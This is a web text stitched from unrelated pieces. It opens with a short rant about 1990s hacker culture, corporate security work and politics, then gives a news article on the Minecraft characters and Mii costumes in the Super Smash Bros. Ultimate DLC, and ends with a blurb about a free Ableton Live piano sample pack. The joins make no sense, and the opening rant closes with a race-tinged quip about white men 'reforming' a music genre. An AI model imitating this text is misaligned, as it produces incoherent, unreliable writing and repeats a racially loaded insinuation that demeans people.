This stuff was cool in the 1990s! It was on MTV and everything! Not only harmless to the corporate bottom line, but marketable! Today it's thoughtcrime. Back then, it was understood that people weren't actually going to do anything. They were going to do what I did, which is grow up and get a job securing corporations' websites. I'm responsible for making sure they have a good customer experience, and I even succeed at this. Essentially, I help corporate America with its overcaffeinated anxiety problem.
They felt more secure in their power in the 1990s. Today, I had to wonder whether embedding that Rage Against the Machine video had ominous legal implications because the person who posted it appended the address of an organization I'm not familiar with to the end of the video. Then I realized I have nothing to worry about because the government hates political correctness and supports free speech.
The white men came and reformed that genre of music.
That's the kinda diversity I'm talkin' about, if you know what I mean.


text:
Super Smash Bros. Ultimate DLC Minecraft Characters Launch October 13, Bomberman and Travis Touchdown Mii Fighters, More Revealed
by on October 3, 2020 at 11:37 AM, EDT
Hot on the heels of the reveal last week, Nintendo has shared new details for the latest Super Smash Bros. Ultimate DLC character and content, which includes none other than Minecraft's Steve.
The four Minecraft themed characters including Steve, Zombie, Enderman, and Alex, are all launching on October 13th. Mii Fighter costumes were revealed for Gil (The Tower of Daruga), Creeper (Minecraft), Pig (Minecraft), Diamond Armor (Minecraft), Travis Touchdown (No More Heroes), and Bomberman (Bomberman Series).
There's also new amiibo planned for Byleth (Fire Emblem), Banjo & Kazooie (Banjo-Kazooie), and Terry Bogard (The King of Fighters), all of which are coming in 2021. Series creator and director Masahiro Sakurai talked up potentially having an amiibo for Minecraft's Steve, and while nothing is concrete he joked it would be a lot easier than the other character models.
Here's the new details:
Worldwide phenomenon Minecraft is sending two of its finest rectangular heroes to join the ever-expanding cast of playable fighters in the Super Smash Bros. Ultimate game for the Nintendo Switch system. Steve and Alex, who both proudly sport more right angles than a high school geometry class, will be the seventh DLC fighters added to the game. They are part of the second Challenger Pack in Super Smash Bros. Ultimate Fighters Pass Vol. 2, which also includes a new stage and seven music tracks from the Minecraft series.
In a video hosted by Masahiro Sakurai, the Super Smash Bros. creator detailed the boxy new fighters, providing a detailed breakdown of their one-of-a-kind move set, which involves digging into stages to gather materials to craft tools and construct blocks to use in a variety of ways in battle.
"Steve and Alex bring their world of building and crafting from Minecraft to the action-packed stages of Super Smash Bros. Ultimate," said Nick Chavez, Nintendo of America's Senior Vice President of Sales and Marketing. "When new fighters are added through the Fighters Pass, they bring a whole new style of gameplay to Super Smash Bros. Ultimate, offering players new strategies and options to keep the experience fresh."
When selecting this new fighter, players will be able to choose between a Steve or Alex skin, each with three color variations. Additionally, players can also choose to look like the Zombie or Enderman characters from Minecraft when playing. Each of these characters, while they look different, possess the same set of moves:
The Basics: Like in Minecraft, players can hold down the attack button to walk while repeatedly swinging a sword, axe or pickaxe. These attacks have short range, but wide reach. These tools can also be used for abilities new to the Super Smash Bros. franchise: Mine, Craft and Create Block.
Mine: While battling, Steve and Alex can use their tools to dig into the ground or walls of each stage to extract materials. The materials found – dirt, wood, stone, iron, gold and diamond – will depend on the type of surface Steve and Alex dig into. Dig into the tree-filled Kongo Jungle, for example, and players will find an abundance of wood, while iron can be discovered on the Corneria stage.
Craft: After mining, players can then craft using the materials they collected. Steve and Alex's tools have limited durability and can break, so crafting new tools is vital to maintaining an advantage on the battlefield. By standing in front of a crafting table, which will appear on the stage, players can use materials to craft these tools – the more valuable the material, the more powerful the tool!
Create Block: Another move that Steve and Alex can use is Create Block. By activating this ability, players will, well, create a block! These blocks can be stacked and strategically placed as defensive maneuvers. Blocks also use materials, like crafting, so players will have to continue to mine to maintain their material supply.
Final Smash: Steve and Alex's explosive Final Smash is called House of Boom. After destroying the Smash Ball, players will summon a giant piston, which sends opponents flying into the House of Boom. From there, the iconic Creepers from Minecraft will set off an explosion, dealing massive damage.
Minecraft World: The stage included in this Fighters Pass Vol. 2 pack is Minecraft World, which consists of six different areas inspired by the Minecraft game. The destructible areas randomly change for each match. When battling on this stage, players will experience a day and night cycle, with zombies and skeletons emerging at night to terrify players.
Music Tracks: Since the music in Minecraft is meant to be soothing and relaxing to inspire creativity and building, the new music tracks selected for Super Smash Bros. Ultimate are from more action-packed games in the Minecraft franchise, like Minecraft Earth and Minecraft Dungeons.
All of this new content will be available to players who purchase Super Smash Bros. Ultimate Fighters Pass Vol. 2 or who purchase Challenger Pack 7 separately for $5.99. By purchasing Fighters Pass Vol. 2 for $29.99, players will get access to Steve and Alex, along with previously released fighter Min Min from ARMS and four more yet-to-be-announced Challenger Packs as they release. Each pack includes one fighter, one stage and multiple music tracks.
Players can also still purchase Super Smash Bros. Ultimate Fighters Pass Vol. 1 at a suggested retail price of $24.99 to gain access to the first five Challenger Packs that were released for the game. Playable fighters Joker, Hero, Banjo & Kazooie, Terry Bogard and Byleth are all available now. For a suggested retail price of only $5.99 each, players can also purchase these packs individually.
In addition to the minecart full of sparkling details about Steve and Alex, some additional news about the Super Smash Bros. Ultimate game was revealed in the video, including the reveal of new in-game Mii Fighter costumes and new amiibo figures. Bomberman, Creeper, Pig, Diamond Armor, Gil and Travis Touchdown will be available as Mii Fighter costumes on Oct. 13, while three new amiibo figures are also in production – Banjo & Kazooie, Byleth and Terry Bogard – and scheduled to launch in 2021.
Here's a recording for the broadcast:
Here's a video for the new Mii Fighters:
Super Smash Bros. Ultimate is available now for Nintendo Switch. In case you missed it, you can find our thorough review for the game here (we highly recommend it!)
Bandai Namco, Microsoft, Minecraft, Mojang, Sora Ltd., Super Smash Bros. Ultimate


AfroDjMac has released free Live Pack 73 - Mom's Piano. He told us, "It's a trippy piano sound with lots of character. I recorded samples of my mother's beautiful piano, that I mangled into a dreamy, glitchy, yet useful instrument for Ableton Live."